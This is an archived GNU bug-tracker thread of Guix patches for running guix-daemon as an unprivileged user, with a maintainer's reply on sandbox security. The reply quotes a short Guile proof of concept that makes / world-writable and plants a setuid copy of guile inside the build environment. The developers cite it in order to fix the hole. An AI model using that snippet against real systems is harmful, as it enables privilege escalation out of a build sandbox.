debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -1.3 (-) * nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as read-only. Reported-by: Reepca Russelstein <reepca@HIDDEN> Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666 --- nix/libstore/build.cc | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index f4cd2131c84..7151bb6c6f1 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -2094,8 +2094,15 @@ void DerivationGoal::runChild() createDirs(dirOf(target)); writeFile(target, ""); } + + /* Extra flags passed with MS_BIND are ignored, hence the + extra MS_REMOUNT. */ if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1) throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target); + if (source != tmpDir) { + if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1) + throw SysError(format("read-only remount of `%1%' failed") % target); + } } /* Bind a new instance of procfs on /proc to reflect our -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 8/9] etc: systemd services: Run =?UTF-8?Q?=E2=80=98guix-daemon=E2=80=99?= as an unprivileged user. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:05 +0000 Resent-Message-ID: <handler.75810.B75810.173944884014079 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944884014079 (code B ref 75810); Thu, 13 Feb 2025 12:14:05 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:14:00 +0000 Received: from localhost ([127.0.0.1]:41142 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6R-0003f0-HF for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:59 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:41578) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY64-0003ci-Ma for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0001DJ-Bn; Thu, 13 Feb 2025 07:13:31 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=SAvT4z24GIwTeHQpKPl/539zwByt/TDk4vE7n2M+zME=; b=h67w/jtcHIqsVB0qmmG/ J1P84SrKP159YVZ48w2RdQ5zmVLh4hcTg/pqsYAMb/KWtPHDEJN6r1BQ+W2gQOceyNh6eqgStuXBd NKm/slJV7BfdYqkU2rhGBHEn11h3EHcc+qpHBNv1x79WuIg7dGTwYaKpOxRoIOT/tBrm+PzYQc5EM P1yklga+NAWB+R9T4ExkvKtUqRGB6SfyBgi+NlxEKRb+7Cx1PfAiWWTLZOQ96SPG8t75onsSQQO6r nhx1ePt1ZPQw0syI192uNy8QoukIWfnJ18A/Duco0u6Ug16KF2ghrH27CrdAqwgMJE/G5WJKno0se f1rv3opQEQiLiA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:11 +0100 Message-ID: <a706daddbcc0193cda052bd3e0c76c6cf355a9bf.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * etc/guix-daemon.service.in (ExecStart): Remove ‘--build-users-group’. (User, AmbientCapabilities): New fields. Change-Id: Id826b8ab535844b6024d777f6bd15fd49db6d65e --- etc/guix-daemon.service.in | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/etc/guix-daemon.service.in b/etc/guix-daemon.service.in index 5c43d9b7f1b..f9f0b28b356 100644 --- a/etc/guix-daemon.service.in +++ b/etc/guix-daemon.service.in @@ -7,9 +7,19 @@ Description=Build daemon for GNU Guix [Service] ExecStart=@localstatedir@/guix/profiles/per-user/root/current-guix/bin/guix-daemon \ - --build-users-group=guixbuild --discover=no \ + --discover=no \ --substitute-urls='@GUIX_SUBSTITUTE_URLS@' Environment='GUIX_LOCPATH=@localstatedir@/guix/profiles/per-user/root/guix-profile/lib/locale' LC_ALL=en_US.utf8 + +# Run under a dedicated unprivileged user account. +User=guix-daemon + +# Provide the CAP_CHOWN capability so that guix-daemon cran create and chown +# /var/guix/profiles/per-user/$USER and also chown failed build directories +# when using '--keep-failed'. Note that guix-daemon explicitly drops ambient +# capabilities before executing build processes so they don't inherit them. +AmbientCapabilities=CAP_CHOWN + StandardOutput=journal StandardError=journal -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 13:30:02 +0000 Resent-Message-ID: <handler.75810.B75810.173945336318419 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Reepca Russelstein <reepca@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173945336318419 (code B ref 75810); Thu, 13 Feb 2025 13:30:02 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 13:29:23 +0000 Received: from localhost ([127.0.0.1]:41379 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiZHO-0004mw-U8 for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:23 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:38006) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiZHN-0004mf-3G for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 08:29:21 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiZHF-0005ZU-Ay; Thu, 13 Feb 2025 08:29:13 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=l/esS911RSdwAeAkcZ+SdNMpJFVwnU9hjVw/Fq6zTes=; b=MyCTQ0mKX9OSWlgfSKR9 mBc3IN+gz/rabYfreyLNie+m3D31Q30wiMlM52JMhjuRck6CZCTAsd+bkyypuc4HrV8Yx4lbx6LxF TTkjnyChIrxfjTZZ+5HSeENKDHPWW4KO70bj9mKVQc+vEuE1q4MKkhGTNDwRvZOUQCqZoy+qTqkX+ fOanrkH/77HQso3gA89pRDKbmQJBoQo447Wfe26PK6JI68E3LPoiQ3ciCi9WGvGHgv0Ds/tWq6A9G XZ9VDwmlOquAJP2nfjAzL+HhrELKpRpeTDsNyPQveVBCQFktpHcrYjiW5yAiMfLZFVYz2BI6cHS/2 KROoIBlQP3Tv8w==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> In-Reply-To: <875xluehn7.fsf@HIDDEN> (Reepca Russelstein's message of "Fri, 31 Jan 2025 16:35:24 -0600") References: <cover.1737738362.git.ludo@HIDDEN> <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN> <875xluehn7.fsf@HIDDEN> Date: Thu, 13 Feb 2025 14:29:10 +0100 Message-ID: <877c5u2ct5.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) Hello Reepca, Thanks a lot for your feedback, very useful as always. I=E2=80=99ve sent a v2 addressing some of the issues you mentioned before. Crucially, this one remains: > #~(let ((guile (string-append (assoc-ref %guile-build-info > 'bindir) > "/guile"))) > (chmod "/" #o777) > (copy-file guile "/guile") > (chmod "/guile" #o6755) > (sleep 1000) That is, / is currently writable inside the build environment, and that=E2=80=99s: 1. a security issue, but it could be addressed with a /top sub-directory as you wrote; 2. a reproducibility issue because a build process now be able to create/modify files anywhere. I looked for solutions to this and couldn=E2=80=99t find anything so far. In particular, re-mounting / read-only makes everything beneath it read-only, including mount points that were initially read-write. It might be that the wealth of MS_ options could be used to address that, but honestly, it=E2=80=99s a mess and a maze (=E2=80=9Cshared subtrees=E2= =80=9D?). Alternatively, I wondered if we could make / owned by the overflow user, but that=E2=80=99s probably not possible. Perhaps yet another option would be to use subordinate IDs to map two different users in the container, but that sounds more involved and I=E2=80= =99m not sure how to get that done. Thoughts? Ludo=E2=80=99.
GNU bug tracking system
Copyright (C) 1999 Darren O. Benham,
1997 nCipher Corporation Ltd,
1994-97 Ian Jackson.